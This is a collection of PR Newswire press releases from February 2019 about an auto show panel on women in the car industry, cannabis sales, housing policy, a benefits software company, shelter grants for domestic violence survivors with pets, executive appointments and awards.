"This year we brought two really important conversations to the stage," said Scotty Reiss, founder of A Girls Guide to Cars. "Our mission is to inspire the women out there to see the opportunities ahead; not only for themselves, but for other women who want to find a role in the automotive industry."

"Women buy or influence 85 percent of car purchases, spending roughly $450 billion a year, yet they only hold about 25 percent of jobs in automotive. This holds a lot of opportunity," said Reiss.

Michelle Krebs, executive analyst for Autotrader added, "I think what's interesting about my panel is it's extremely diverse in terms of backgrounds. We have people from the retail part of the business, from the automaker part of the business, part supply, so everybody came to this industry in a different way."

A common theme among the women on the panel is that they never aspired to go into the automotive industry, but once they were in it, they ended up enjoying the business. They all started their careers at a young age and then worked their way up through the ranks to become successful in the field.

"I never set out to be a trailblazer or anything like that; I just happened to be the only woman at my company so I did what I needed to do, which was my very best," said Edie Wines, instructor, National Automobile Dealers Association. "As a result, it impacts other people and their performance levels."

Additional key factors of success shared were diversity in the workplace, taking advantage of opportunities presented and being a leader. Wines talked about how women are more inclined to change with the new ways of business instead of going against it. This trait helps females to be successful in the workplace because they're open-minded and are able to easily adapt.

Jennifer Newman, Cars.com editor-in-chief, kicked off the second portion of the panel discussion which was centered around creating balance while building a career. Newman asked the panelists how each of them attain balance while climbing the corporate ladder and trying to maintain a family and personal life.

Laurie King, SVP, global operations and strategic solutions, Turtle Wax, answered, "For me, as a leader, it's the basis of recognizing that everybody you work with has a life outside of work, whether it's their family at home, personal life, etcetera."

"I personally believe that you have to allow people to be successful and happy in their personal life in order for them to be successful in their professional life. While it's not always easy, the more we treat employees in this manner, the more we're helping them to succeed."

Kerri Wise, vice president, industry education and relations, TrueCar added, "There are a couple of things we need to think about. We need to check our guilt. In some ways, we want to be perfect at everything. Are we using our time efficiently? Are we working on projects that matter?"

Approximately 200 members of the media, industry and social media influencers attended the third annual What Drives Her Luncheon. Event sponsors included Autotrader, CDK Global, Facebook, Hyundai, LotLinx, TrueCar, Turtle Wax and Zed F.

For more details on the 2019 Chicago Auto Show, please visit www.ChicagoAutoShow.com. To download high resolution photos or b-roll, visit www.chicagoautoshow.com/media/online-newsroom.

About the Chicago Auto Show

The Chicago Auto Show is the largest auto show in North America, spanning more than 1 million square feet of production, concept and exotic vehicle exhibit space. In addition to hosting multiple world and North American vehicle debuts, the Chicago Auto Show's First Look for Charity raises more than $2.5 million annually for 18 vital Chicago organizations in a single night. The 2019 public show is Feb. 9-18. For more information, visit www.ChicagoAutoShow.com or www.Facebook.com/ChicagoAutoShow.

About the Chicago Automobile Trade Association

Founded in 1904, the Chicago Automobile Trade Association is one of the nation's largest metropolitan dealer organizations. It is comprised of more than 420 franchised new-car dealers and an additional 150 allied members. The group's dealer members employ about 19,000 people in the metropolitan area. The association has produced the world-famous Chicago Auto Show since 1935. For more information please visit www.CATA.info.

SOURCE Chicago Auto Show

Related Links

http://www.chicagoautoshow.com

VANCOUVER, Feb. 13, 2019 /PRNewswire/ - Today Dan Anglin, Co-Founder and CEO of CANNAMERICA BRANDS CORP. ("CannAmerica Brands" or the "Company") (CSE: CANA) (OTCQB: CNNXF), commented on the state of Colorado surpassing USD$6 billion in cannabis sale since January 1, 2014 that was announced by the Colorado Department of Revenue on Tuesday February 12, 2019.

Commented Anglin, "The Company wishes to congratulate and recognize the state of Colorado for being a leader in cannabis liberalization and on passing this monumental sales milestone. CannAmerica Brands is proud to have contributed to this milestone, having sold over 14 million of its cannabis infused gummies in the state to date."

CannAmerica Brands has deep ties to Colorado as a company founded in the state, and Dan Anglin has been a high-profile leader in the cannabis sector having served on rule-making work groups for the Colorado Marijuana Enforcement Division on more than 10 occasions, as well as crafting legislation directly at the Colorado General Assembly for the good of Colorado and its regulated industry.

"CannAmerica Brands looks forward to opportunities to bring the success of CannAmerica Brands and cannabis liberalization that has been experienced in Colorado to new states in the future as well as continuing to focus on the Colorado marketplace, which is a proven leader in adult-use cannabis in the United States," said Anglin.

For more information, please visit www.cannamericabrands.com.

On Behalf of the Board,

Dan Anglin

CEO and Director

(314) 495-4589

About CannAmerica Brands Corp.

CannAmerica Brands is a U.S. marine veteran founded and operated portfolio of cannabis brands with licensing agreements in the states of Colorado, Nevada and Maryland. The Company aims to maximize the value of its brands by employing strong brand management teams, marketing and licensing the brands through various distribution channels, including dispensaries, wholesalers and distributors, in the United States and internationally. The Company's core strategy is to enhance and monetize the global reach of its existing brands, and to pursue additional strategic acquisitions to grow the scope and diversity of its brand portfolio. For more information, please visit www.cannamericabrands.com.

Cautionary Note Regarding Forward-Looking Statements: This release includes certain statements and information that may constitute forward-looking information within the meaning of applicable Canadian securities laws or forward-looking statements within the meaning of the United States Private Securities Litigation Reform Act of 1995. All statements in this news release, other than statements of historical facts, including statements regarding future estimates, plans, objectives, timing, assumptions or expectations of future performance, including the Company's plan to enter into licensing agreements in states other than those the Company already operates in and additional states may legalize recreational cannabis are forward-looking statements and contain forward-looking information. Generally, forward-looking statements and information can be identified by the use of forward-looking terminology such as "intends" or "anticipates", or variations of such words and phrases or statements that certain actions, events or results "may", "could", "should", "would" or "occur". Forward-looking statements are based on certain material assumptions and analysis made by the Company and the opinions and estimates of management as of the date of this press release, including that the Company will enter into licensing agreements in states other than those the Company already operates in or that additional US states will legalize recreational cannabis. These forward-looking statements are subject to known and unknown risks, uncertainties and other factors that may cause the actual results, level of activity, performance or achievements of the Company to be materially different from those expressed or implied by such forward-looking statements or forward-looking information. Important factors that may cause actual results to vary, include, without limitation, the Company will not be successful in entering into new licensing agreements in states other than those the Company already operates in and that recreational cannabis will not be legalized in additional US states. Although management of the Company has attempted to identify important factors that could cause actual results to differ materially from those contained in forward-looking statements or forward-looking information, there may be other factors that cause results not to be as anticipated, estimated or intended. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements and forward-looking information. Readers are cautioned that reliance on such information may not be appropriate for other purposes. The Company does not undertake to update any forward-looking statement, forward-looking information or financial out-look that are incorporated by reference herein, except in accordance with applicable securities laws.

Neither the Canadian Securities Exchange nor its Regulation Services Provider accepts responsibility for the adequacy or accuracy of this release.

SOURCE CannAmerica Brands Corp.LOS ANGELES, Feb. 12, 2019 /PRNewswire/ -- The CALIFORNIA ASSOCIATION OF REALTORS (C.A.R.) today issued the following statement in response to Governor Gavin Newsom's State of the State address:

"We applaud Gov. Gavin Newsom's demonstration of his ongoing commitment and leadership toward building more affordable and available housing in California and couldn't agree more when he stated, 'If we want a California for all, we have to build housing for all,'" said C.A.R. President Jared Martin.

"We support the governor's position that local government needs to be held accountable for addressing housing supply. By addressing supply at the local level, we're addressing housing affordability for both ownership and rental housing.

"We also welcome the governor's comments regarding the California Environmental Quality Act (CEQA), and we will be pursuing legislation to streamline housing construction.

"Last fall, California voters resoundingly rejected the expansion of rent control. Californians understand that the solution to high rents is not more rent control; it's building more supply. Moreover, rent stabilization is already addressed by the Costa-Hawkins Rental Housing Act.

"The CALIFORNIA ASSOCIATION OF REALTORS looks forward to working with the governor, the legislature and key stakeholders to ensure that all Californians can realize the American dream of homeownership."

Leading the way...  in California real estate for more than 110 years, the CALIFORNIA ASSOCIATION OF REALTORS (www.car.org) is one of the largest state trade organizations in the United States, with more than 190,000 members dedicated to the advancement of professionalism in real estate. C.A.R. is headquartered in Los Angeles.

SOURCE CALIFORNIA ASSOCIATION OF REALTORS

Related Links

http://www.car.org

"The benefits landscape continues to evolve to meet consumer needs. Our organization has consistently remained nimble so that we can pivot quickly to create the right technologies at the right time when our clients and their employees need them most," said Businessolver President and CEO Jon Shanahan . "Our 20th anniversary year was momentous  filled with innovation, new voices and expertise, regional growth, and industry acknowledgments. I'm proud of how our teams fuel our continued success, and how we will continue to raise the bar in 2019."

Focused market expansion

Through strategic partnerships, market expansions, industry-leading product innovations, and continued investment in deep benefits expertise, the company maintained its long-term client retention rate of approximately 95%.

In 2018 Warburg Pincus, a global private equity firm with over $46 billion of capital under management, made an investment in Businessolver and will expand Businessolver's strategic initiatives, governance and oversight. Warburg Pincus and the Businessolver executive team have already begun partnering together to accelerate Businessolver's focus on technology innovation and providing its customers with leading products and services.

"We are pleased to have the support of Warburg Pincus as we implement the next phase of our growth strategy and pursue new opportunities to disrupt the benefits technology market," said Jon Shanahan, President and CEO of Businessolver. "Benefits administration is becoming increasingly complex in today's market, and our flexible SaaS offering helps companies make this process easier for their employees. Hundreds of blue-chip clients have come to rely on our leading technology solutions and commitment to customer service to effectively manage their benefits needs, and we look forward to pursuing new growth initiatives with this investment."

"Businessolver has established itself as a market-leading platform in the benefits administration market, where more enterprises are adopting SaaS-based solutions to manage their employee benefits programs in an accessible and cost-efficient way," said Alex Berzofsky, Managing Director, Warburg Pincus. "We look forward to partnering with Jon and Businessolver's strong management team to further advance the company's products and services, as well as to continue expanding their large enterprise customer base, which has grown rapidly in recent years."

Strong performance led to key office expansions across the United States. In July, Businessolver opened a Louisville-area office dedicated to their expanded consumer accounts administration services in order to provide the most seamless and effective solutions to clients. The company also opened their Dallas-based office in August focusing on client support, sales, and professional services. Finally, after opening the office in 2016, Businessolver's Charlotte office doubled in size to support the continued growth in our east coast-based clients.

Sustainable growth throughout the organization in 2018 gave Businessolver the ability to make a number of strategic hires and enter 2019 with nearly 950 employees, all of whom are based in the United States, and committed to a journey of continuous improvement and delivering delight to clients. More senior-level hires were made to further support the company's commitment to driving innovation and client excellence, including:

Brian Cosgray , Head of Innovation Works

, Head of Innovation Works Kent Rausch , Consumer Health and HSA Practice Leader

, Consumer Health and HSA Practice Leader Tom Staroszczyk , Head of Product Development

, Head of Product Development Brian Ward , VP Regional Operations  South

, VP Regional Operations  South Maryellen Moline , VP Regional Operations  East

, VP Regional Operations  East Tiffany Wortham , VP Regional Operations  West

, VP Regional Operations  West Danielle Frederick , VP Client Operations  National Accounts Central

, VP Client Operations  National Accounts Central Matt Null , Head of Revenue Operations

, Head of Revenue Operations Ryan Pellet , Chief Client Success Officer

Businessolver's commitment to improving performance and business results was recognized by their earning Bronze Level Recognition by the Baldrige Excellence Framework. For the second year in a row, Businessolver was honored by the Iowa Recognition for Performance Excellence (IRPE) and is the only benefits administration company, and the first technology company in the U.S., participating in the Baldrige journey.

Award-winning innovations

Throughout 2018, Businessolver continued its focus on industry-leading initiatives to enhance the client and employee experience. Key updates and improvements were made to the Benefitsolver platform including:

Enhancing the platform to be compliant with applicable Section 508 V2 and Web Content Accessibility Guidelines (WCAG) 2.0 A and AA guidelines. Assistive devices such as screen readers and special keyboards can now navigate the platform and those with cognitive disabilities have more time to make their benefits selections.

Integrating instant dependent verification into the Benefitsolver platform by leveraging Businessolver's AI and machine learning technology to approve dependents in seconds, thus improving file accuracy, reducing human error, minimizing the retroactive deduction process, and providing members with peace of mind protections for their loved ones.

Revamping the interface of the MyChoice SM Recommendation Engine, increasing the education and flexibility for users to make the right benefits decisions that fit their needs.

Recommendation Engine, increasing the education and flexibility for users to make the right benefits decisions that fit their needs. Collaborating with Transamerica, a leading provider of insurance, retirement, and investment solutions, to offer members an industry-first, integrated enrollment in retirement plans alongside employer-provided medical and voluntary benefits for a holistic view of their overall wealth and health.

In addition to their flagship platform updates, Businessolver continued to develop its industry-first, machine learning personal benefits assistant, Sofia, who can now answer questions about more than 130 benefits topics in 20 languages. In 2018, Sofia was developed to understand voice recognition and how to manage workflows to take on tasks at the employee's request. Human Resource Executive recognized Sofia as a Top HR Product of 2018 and Sofia's creator, Businessolver's Head of Applied Data Science, Sony Sung-Chu, was recognized as one of Employee Benefit News's Top 2018 HR Technology Innovators. During the 2019 Annual Enrollment period, Sofia continued to show her strengths by handling more than 51,000 chats in two months and resolving more the 57 percent of Businessolver's total chat volume.

"AI and technological growth have fundamentally changed HR, and will continue to do so," said Businessolver Chief Strategy Officer Rae Shanahan. "We're proud to be trailblazers in industry-leading solutions for HR professionals, the first to deliver AI for benefits service, just as we've been since our founding."

Knowledge leadership and commitment to engagement spans employees, clients, and partners

In 2018 Businessolver continued its annual Vision Tour, a series of client events for HR and benefits professionals to exchange ideas, share best practices, and learn about new HR technology innovations. Hosted in San Francisco, Philadelphia, and Chicago, Vision 20/18 featured an exclusive half-day training program from award-winning leadership and workforce development expert, Cy Wakeman, on Wakeman's own no-drama, reality-based leadership approach.

In 2018, as part of their own leadership and development training, the Businessolver organization completed more than 14,000 hours of Wakeman's reality-based curriculum  virtually and in the classroom  throughout all levels of the organization. The training program equipped Businessolver employees to be better leaders of people and projects and ensure that the entire organization is committed to being responsive, responsible, and accountable to clients and employees.

To showcase some of Businessolver's best insights from internal and external partners, Businessolver's SVP of Employee Engagement, Marcy Klipfel, was accepted into the Forbes Human Resources Council, giving her a platform to share her expertise and experience with HR executives across all industries.

2018 was also the year Businessolver released its third annual State of Workplace Empathy Study to continue to help employees, HR professionals, and CEOs understand the value and impact empathy has on workplace culture, innovation, productivity, and profit. Businessolver also launched the Businessolver Empathy Index, a first-of-its-kind, online assessment tool for companies to evaluate and measure empathy in their organization, and gain actionable insights into where more empathetic practices are needed.

One of the ways Businessolver creates their own empathetic workplace culture is by valuing emotional and physical wellness. This value was recognized by the American Heart Association (AHA) for a Silver Level Workplace Health Achievement award in recognition for the company's continued dedication to health and wellness.

Giving back demonstrates continued commitment to core values

This year Businessolver exemplified its core value of "Giving Back" through its three pillars of giving: Health, Education and Community. In 2018, the Businessolver Foundation donated more than $300,000 to a variety of causes and communities. Employees contributed an additional $27,000 and volunteered more than 2,500 hours in total throughout the year.

Since its inception in 2016, the Businessolver Foundation has donated over $730,000, including more than $62,000 from employees, and over 4,000 hours of their time. This year's donations and volunteer support went to organizations including the Los Angeles Fire Department Foundation, Make-a-Wish Foundation, Habitat for Humanity, Junior Achievement, Ronald McDonald House Charities, National Ovarian Cancer Coalition (NOCC), Greater Baltimore Medical Center (GBMC), and RAGBRAI (Register's Annual Great Bicycle Ride Across Iowa).

"Our Businessolver Foundation efforts and initiatives directly impact and improve the health, education and communities in which we live and work," says Jon Shanahan, President and CEO of Businessolver. "Our Foundation Manager and employees have done an incredible job identifying people and communities in need, and taken action to donate funds, provide support, and invest their time to make a difference in peoples' lives."

About Businessolver

Since 1998, Businessolver has delivered market-changing benefits administration technology supported by an intrinsic responsiveness to client needs. The company creates client programs that maximize benefits program investment, minimize risk exposure, and engage employees with easy-to-use solutions and communication tools to assist them in making wise and cost-efficient benefits selections. Founded by HR professionals, Businessolver's unwavering service-oriented culture and secure SaaS platform provide measurable success in its mission to provide complete client delight.

About Warburg Pincus

Warburg Pincus LLC is a leading global private equity firm focused on growth investing. The firm has more than $46 billion in private equity assets under management. The firm's active portfolio of more than 170 companies is highly diversified by stage, sector, and geography. Warburg Pincus is an experienced partner to management teams seeking to build durable companies with sustainable value. The firm has been a leading investor in SaaS companies, with current investments including Avalara, CrowdStrike, DocuTAP, Dude Solutions, Duetto, Liaison International, Modernizing Medicine, NEOGOV, PayScale, and Procare Software, among others.



Warburg Pincus is an experienced partner to management teams seeking to build durable companies with sustainable value. Founded in 1966, Warburg Pincus has raised 17 private equity funds which have invested more than $72 billion in over 845 companies in more than 40 countries. For more information please visit www.warburgpincus.com.



Media Contacts

Kristin Korzen, Edelman (on behalf of Businessolver)

[email protected]

312-233-1278

Kerrie Cohen, Warburg Pincus

Senior Vice President, Communications

T: +1 212 878 9207

SOURCE Businessolver

Related Links

http://www.businessolver.com

WASHINGTON, Feb. 13, 2019 /PRNewswire/ -- Dr. Walter G. Bumphus, president and CEO of the American Association of Community Colleges, has been appointed to serve on the American Workforce Policy Advisory Board (Advisory Board). The Advisory Board was formed to advise the National Council for the American Worker (NCAW) established by President Trump last year. The NCAW is charged to create a comprehensive national workforce strategy to ensure that America's workers are equipped to succeed in the jobs of today and of the future.

The Advisory Board will advise the NCAW in the development and implementation of a national, holistic workforce strategy to ensure that America's students and workers have access to affordable, relevant, and innovative education and job training.

Bumphus will represent the nation's community colleges that provide critical workforce education for millions of students across the country.

"I am honored to represent community colleges in this important work," said Bumphus. "Inherent to the mission of our colleges is the notion of providing access to educational pathways that lead to employment that earns a family-sustaining wage. Our community colleges are providing training that creates a pipeline of skilled workers benefiting local and regional economies. Working on a national model will allow regional successes to be replicated and scaled to ensure greater access to affordable and relevant career and technical educational opportunities."

The Advisory Board is comprised of experts appointed from diverse fields and organizations. In addition to community colleges, members include representatives from Fortune 500 companies, universities, trade associations, organized labor, nonprofits, and government. Recommendations made by the Advisory Board will help guide the NCAW's work to establish a national campaign promoting education pathways, recommend specific actions for improving labor market data to better identify needed skills and competencies for obtaining meaningful work, and increase transparency and public/private investments in education.

"I am ready to get to work," Bumphus continued. "Community colleges are uniquely positioned to play a pivotal role in closing the American skills gap and I look forward to working with and across all sectors to advance educational opportunities and successes for all Americans."

As the voice of the nation's community colleges, the American Association of Community Colleges (AACC), delivers educational and economic opportunity for 12 million diverse students in search of the American Dream. Uniquely dedicated to access and success for all students, AACC's nearly 1,200 member colleges provide an on-ramp to degree attainment, skilled careers and family-supporting wages. Located in Washington, D.C., AACC advocates for these not-for-profit, public-serving institutions to ensure they have the resources and support they need to deliver on the mission of increasing economic mobility for all.

SOURCE American Association of Community Colleges

Related Links

http://www.aacc.nche.edu

WHIPPANY, N.J., Feb. 13, 2019 /PRNewswire/ -- Bayer announces 13 domestic violence shelters that are receiving funding through Grants Fur Families, a new program providing life-saving support to domestic violence shelters across the country that understand the critical role of the human animal bond. Each of the shelters is receiving $10,000 from Bayer to support their efforts to provide safe places for those fleeing physical, mental and emotional abuse with their pets.

"I couldn't bear the thought of leaving [my pet] Zeus behind to face [my abuser's] rage and anger alone."  Cherish, a survivor

"I was afraid he'd hurt [my pet] Mitzi to get me to come crawling back."  Anna, a survivor

Women like Cherish and Anna, past clients of Bridges Domestic Violence Center in Franklin, Tenn., have struggled with the choice of how to escape domestic violence along with their pet. In fact, nearly half of abused women stay in their abusive relationships out of concern for the welfare of their beloved pet.[1] While a strong network of domestic violence shelters exists to provide women and children a safe place, there is a significant unmet need existing for those seeking shelter along with their pets. Nationwide, less than 5 percent of domestic violence shelters can accommodate pets on-site, forcing abuse victims to choose between staying in an abusive relationship and leaving their pet with the abuser.

With support from Bayer, the 13 Grants Fur Families recipients  including Bridges Domestic Violence Center  will be able to improve their existing pet-related facilities or open on-site pet facilities for the first time:

180 Turning Lives Around in New Jersey

in Battered Women's Shelter of Summit and Medina Counties in Ohio

in Bridges of Williamson County in Tennessee

in Center for Hope and Safety in Oregon

in Crisis Center in Colorado

in Domestic Violence Intervention Program in Iowa

in Haven Hills in California

in Haven House, Inc. in New Mexico

in Next Step Domestic Violence Project in Maine

in Quigley House in Florida

in Resources Education Assistance Counseling and Housing of Macon in North Carolina

in Safehouse Services in Wyoming

in Women's Center & Shelter of Greater Pittsburgh in Pennsylvania

Another grant recipient, The Crisis Center in Littleton, Colo., plans to begin welcoming pets at their facility using the Grants Fur Families funds. "Every day, the Crisis Center receives calls from individuals fleeing domestic violence. With them, they have the clothes on their backs and the one thing that is most important to them, their pet," says Jennifer Walker, Crisis Center Executive Director. "Many return to their abuser because the domestic violence shelter they hoped would keep them safe is unable to safely shelter their pet. We are excited to be able to partner with Bayer to develop an innovative program for those individuals seeking shelter at the Crisis Center that have pets with them. The Grants Fur Families funds are vital in decreasing barriers that victims and their pets have in seeking a safe place to be."

Bayer is committed to supporting domestic violence shelters in their efforts to increase and improve options for families with pets to live without fear. "We recognize the deep, life-changing bond that people share with their pets," said Raymond F. Kerins Jr., Senior Vice President of Corporate Affairs for Bayer. "We are so humbled and moved by all the Grants Fur Families applicants that we increased our funding so even more domestic violence shelters can open their doors to pets. No one should have to choose between their safety and their pet."

How can you help raise awareness?

There are several ways people across the country can support Grants Fur Families and the 13 recipient shelters in celebrating the human animal bond and raising awareness for this important cause. Those interested can take action by:

Following @Bayer4Pets on Instagram and Twitter and liking, sharing and tagging your friends and family with the content posted there to help more people understand the need for pet-friendly domestic violence shelters.

Sharing the educational video located on www.petandwomensafety.com on social media channels with the hashtags #GrantsFurFamilies and #GivingTuesday.

Sharing this information with a local domestic violence shelter in your community.

Bayer: Science For A Better Life

Bayer is a global enterprise with core competencies in the Life Science fields of health care and agriculture. Its products and services are designed to benefit people and improve their quality of life. At the same time, the Group aims to create value through innovation, growth and high earning power. Bayer is committed to the principles of sustainable development and to its social and ethical responsibilities as a corporate citizen. In fiscal 2017, the Group employed around 99,800 people and had sales of EUR 35.0 billion. Capital expenditures amounted to EUR 2.4 billion, R&D expenses to EUR 4.5 billion. For more information, go to www.bayer.us.

Contact :

Carolyn Nagle

Bayer U.S.

Email: [email protected]

Office: 862-404-5955

Mobile: 201-419-0337

Social Media Channels

- Facebook: BayerUnitedStates

- Twitter: @BayerUS and @Bayer4Pets

- Instagram: @BayerUS and @Bayer4Pets

- YouTube: BayerUS

Bayer and the Bayer Cross are registered trademarks of Bayer.

Forward-Looking Statements

This release may contain forward-looking statements based on current assumptions and forecasts made by Bayer Group or subgroup management. Various known and unknown risks, uncertainties and other factors could lead to material differences between the actual future results, financial situation, development or performance of the company and the estimates given here. These factors include those discussed in Bayer's public reports which are available on the Bayer website at www.bayer.com. The company assumes no liability whatsoever to update these forward-looking statements or to conform them to future events or developments.

[1] Source: http://www.rosebrooks.org/services/pet-shelter

SOURCE Bayer

Related Links

http://www.bayer.us

WELLESLEY, Mass., Feb. 13, 2019 /PRNewswire/ -- The Babson College Board of Trustees has announced that Centennial Park will be named Kerry Murphy Healey Park in honor of the College's thirteenth president and first woman leader.

Scheduled to open this May as Babson commemorates its 100 anniversary, the new park will be home to Babson's iconic World Globe and Fountain of Flags and will celebrate the school's long-standing commitment to internationalization and global impact.

Babson College President Kerry Murphy Healey

The Kerry Murphy Healey Park is being fully funded through philanthropy. The initial construction phase and the restoration of the Babson Globe were made possible through the generosity of alumnus and trustee Robert Weissman '64, H'94, P'87 '90, and his wife, Jan Weissman P'87 '90. Subsequent gifts from alumni, faculty, parents, staff, and friends totaling more than $3.5 million have enabled Babson to name the park in President Healey's honor.

Healey, who will step down in June of this year after serving six years as president, deepened the College's commitment to global leadership, creating the Global Scholars Program and taking Babson to the world through online education, new physical locations, and the establishment of Babson Connect: Worldwide, an annual global entrepreneurship conference. Today, Babson attracts students from more than 80 countries and has an international network of more than 41,000 alumni in 119 countries.

"We are pleased to honor Kerry's many contributions to Babson with the naming of Kerry Murphy Healey Park," said Board of Trustees Chair Marla M. Cappozi MBA'96. "The naming of the park is a fitting tribute to Kerry's legacy, including her advancement of Babson's mission to educate entrepreneurial leaders who create great economic and social valueeverywhere."

Located in Babson Park, a section of Wellesley, Massachusetts, Kerry Murphy Healey Park will showcase two beloved campus landmarksthe Babson World Globe and the Fountain of Flags. Each pays homage to founder Roger Babson's global mindset and the international nature of the Babson community. Babson commissioned the World Globe in 1947 to "impress upon students and other viewers an appreciation of the world as a whole." The World Globe, originally located adjacent to Coleman Hall on Map Hill, is undergoing extensive renovations and is being relocated to Healey Park, which will be in the center of Babson's campus. The park also will include a statue of Roger Babson and a Centennial walkway with historic markers describing each decade of Babson's first 100 years.

"The fact that so many members of our community stepped forward to help honor Kerry by naming this beautiful new park reflects the high esteem and deep appreciation we all share for her positive impact on Babson's future," said vice chair of the Board of Trustees and chair of the Advancement Committee Craig R. Benson '77, H'03.

The park will be dedicated in May 2019 and is designed by Finegold Alexander Architects. The construction manager for the project is the Lee Kennedy Co.

About Babson College

Babson College is the educator, convener, and thought leader of Entrepreneurship of All Kinds. The top-ranked college for entrepreneurship education, Babson is a dynamic living and learning laboratory where students, faculty, and staff work together to address the real-world problems of business and society. We prepare the entrepreneurial leaders our world needs most: those with strong functional knowledge and the skills and vision to navigate change, accommodate ambiguity, surmount complexity, and motivate teams in a common purpose to make a difference in the world, and have an impact on organizations of all sizes and types. As we have for nearly a half-century, Babson continues to advance Entrepreneurial Thought & Action as the most positive force on the planet for generating sustainable economic and social value.

SOURCE Babson College

Related Links

http://www.babson.edu

MENLO PARK, Calif., Feb. 13, 2019 /PRNewswire/ -- Madhumita Bhattacharyya has joined the Technology Consulting practice of global consulting firm Protiviti as a managing director and leader of advanced analytics and artificial intelligence services. Based in the firm's Dallas office, she has more than 19 years of strategy and analytics experience in numerous industries including financial services, retail, consumer packaged goods and healthcare. Bhattacharyya brings diverse experience across the analytics value curve from enabling a single view of a customer to intelligent automation, advanced analytics and optimization with a special focus on anti-money laundering, fraud and risk analytics.

Prior to joining Protiviti, Bhattacharyya was a partner with IBM's Global Business Services where she was the U.S. head of the company's Advanced Analytics practice, responsible for identifying and driving advanced analytics projects across different business sectors. She also led the IBM-SAS Alliance and the SAS Center of Excellence with special focus on public sector projects. Before IBM, she served as Analytics Practice Leader for retail and banking and financial services with Cognizant Technology Solutions. Earlier in her career, Bhattacharyya served as an Associate Vice President of Analytics at Hewlett-Packard in Chennai, India, where she built and led the advanced analytics team responsible for transforming information into intelligence.

"Many of our clients find deploying and managing technologies such as AI and machine learning to be a significant challenge," said Ron Lefferts, a managing director and global leader of Protiviti's Technology Consulting practice. "They look to us for innovative solutions that enable them to successfully incorporate these technologies into their current business models. With Madhu's deep knowledge of advanced AI and data analytics across multiple industries, she advises them so that they can make informed data-based decisions and look to the future with confidence."

Bhattacharyya holds an MSc (Statistics) from Banaras Hindu University, Varanasi, India. She has been a guest lecturer at the Loyola Institute of Business Administration, the Chennai Business School and the Indian Institute of Technology (IIT) Madras.

About Protiviti

Protiviti (www.protiviti.com) is a global consulting firm that delivers deep expertise, objective insights, a tailored approach and unparalleled collaboration to help leaders confidently face the future. Through its network of more than 80 offices in over 20 countries, Protiviti and its independently owned Member Firms provide clients with consulting solutions in finance, technology, operations, data, analytics, governance, risk and internal audit.

Named to the 2018 Fortune 100 Best Companies to Work For list, Protiviti has served more than 60 percent of Fortune 1000 and 35 percent of Fortune Global 500 companies. The firm also works with smaller, growing companies, including those looking to go public, as well as with government agencies. Protiviti is a wholly owned subsidiary of Robert Half (NYSE: RHI). Founded in 1948, Robert Half is a member of the S&P 500 index.

Protiviti is not licensed or registered as a public accounting firm and does not issue opinions on financial statements or offer attestation services.

Editor's note: Photos available upon request.

SOURCE Protiviti

Related Links

http://www.protiviti.com

MONTREAL, Feb. 13, 2019 /PRNewswire/ -- Accedian, the global end-to-end network and application performance experts, today announced that it is recognized by Gartner, Inc. in the 2019 Magic Quadrant for Network Performance Monitoring and Diagnostics for a second consecutive year.

The annual report looks at the growth of the NPMD market and vendor landscape as well as Gartner's criteria for a NPMD solution. To access a complimentary copy of the full report, please visit accedian.com/mq19.

Accedian is pleased to be recognized once again in Gartner's Magic Quadrant for NPMD. Following evaluation against Gartner's inclusion and exclusion criteria for 2019, the report includes 16 companies in the Magic Quadrant, with Gartner listing Accedian as a Niche Player. From our perspective, this positioning reflects Accedian's "heavy R&D focus" on solving the cloud and SDN challenges associated with the inescapable IT transition to hybrid environments.

Network and application performance visibility is mission critical to the success of businesses in today's digital environments due to the high cost of performance degradation. The cost of failure includes resources spent on analyzing and mitigating end user performance issues, losses in productivity, and revenue impact due to the inability to perform billable work, services, and downtime. Dependency of applications on the network, and the high degree of distribution that IT teams face today, Accedian's SkyLIGHT solution puts the interrelationship between end user experience and the networks, applications, and today's data center and cloud environments in the spotlight. Optimal performance is achieved through a clear view of application and network resource behavior to accelerate troubleshooting, to eliminate degradation, and to accurately assess infrastructure in preparation for migrations and updates.

As Gartner states in the 2019 report, "NPMD vendors have had to contend with several key shifts in the environments they are attempting to monitor." Two of these nine key shifts are "migration toward cloud-hosted workloads and applications fundamentally changing the flow of network traffic" and "increasing virtualization and east-west traffic in the data center, presenting a data capture challenge."

"On the heels of Accedian's first acknowledgement in Gartner's Magic Quadrant for NPMD, we are excited to again be positioned in the 2019 report," says Sergio Bea, VP of Enterprise and Channels of Accedian. "We believe it reflects Accedian's commitment to delivering solutions that allow IT teams to accelerate change while mitigating the risks involved with complex transformations. Our adaptive and scalable solutions meet the needs of our customers every step of the way as they undergo these migrations."

For a complimentary copy of the full report: "Gartner 2019 Magic Quadrant for Network Performance Monitoring and Diagnostics," visit accedian.com/mq19.

Gartner Disclaimer

Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

CONTACT: Kaela Loffler

VP Marketing

+46702397207

[email protected]

This information was brought to you by Cision http://news.cision.com

http://news.cision.com/accedian-networks-ab/r/accedian-positioned-again-in-gartner-s-2019-magic-quadrant-for-network-performance-monitoring-and-di,c2735988

The following files are available for download:

https://mb.cision.com/Main/18007/2735988/990689.pdf Accedian, the global end-to-end network and application performance experts, today announced that it is recognized by Gartner, Inc. in the 2019 Magic Quadrant for Network Performance Monitoring and Diagnostics for a second consecutive year.

SOURCE Accedian Networks ABWASHINGTON, Feb. 13, 2019 /PRNewswire/ -- The National Association of Realtors celebrates an exciting milestone this year: the 20th year of the Good Neighbor Awards. For two decades, this award has recognized Realtors who make an exceptional impact as volunteers in their communities.

NAR Celebrating 20 Years of Realtors Who Gove Back

"For the past 20 years the Good Neighbor Awards have showcased extraordinary stories of Realtor generosity and service. Good Neighbors reveal the heart of the real estate profession  a spirit of service and volunteerism that builds the communities we live and work in," says Victoria Gillespie, NAR's chief marketing and communications officer. "Every month, nearly 70 percent of Realtors volunteer in their communities and that makes an enormous impact. I am looking forward to sharing the stories of this year's recipients of the Good Neighbor Award."

Each year, five Good Neighbor Award winners receive $10,000 grants for their nonprofit, and five honorable mentions receive $2,500. Good Neighbor stories and videos generate considerable local and national media attention, which benefits the cause with additional donations, volunteers and support.

